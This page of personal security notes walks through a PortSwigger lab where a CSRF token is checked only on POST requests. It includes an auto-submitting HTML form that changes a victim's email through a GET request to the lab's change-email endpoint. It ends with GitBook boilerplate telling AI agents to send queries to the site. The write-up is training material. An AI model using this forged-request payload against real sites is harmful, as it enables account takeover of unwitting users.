> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/csrf-token-validation-depends-on-http-method.md).

# CSRF with Token Validation Based on HTTP Method

CSRF with Token Validation Based on HTTP Method notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### CSRF Where Token Validation Depends on Request Method

#### Lab Context

The email change feature is vulnerable to a CSRF attack. A defence is present, but it is only applied to certain types of requests. Purpose: Host a page on the exploit server that forces the victim to change his email address. / Credentials provided for tests: `wiener:peter`.

#### Constat

* A CSRF token is checked for **POST** requests.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9d7d012949369bf65070cc123d465a674b8072%2F%7B7AC1E905-8E8F-4586-AD8A-5B5456F76E93%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* The same action accepted in **GET** \*\*n
* Point concerned: `/my-account/change-email`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ea0892a9ff2ec48fcce1d9dcb84a08741cb22ab%2F%7B209AEB89-40CF-4130-A44B-5C24F83AD2DE%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Hosting on the server runs a page that automatically sends a **GET** query to the email changeendpoint:

```html
<form class="login-form" name="change-email-form" action="https://0a72007c0337ccb880ed1c9b00fa00d1.web-security-academy.net/my-account/change-email" method="GET">
           <input required="" type="email" name="email" value="Hacked@byjordan.com">
</form>

<script>
   document.forms[0].submit();
</script>
```

The following URL illustrates the bypass (no token required in GET)

```html
/my-account/change-email?email=test%40test.com
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-acb7fcc8c8a89d279256690e38876eb0488943ef%2F%7BC0479810-BBD1-4F65-B125-66A8FB36BD82%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/csrf/csrf-token-validation-depends-on-http-method.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.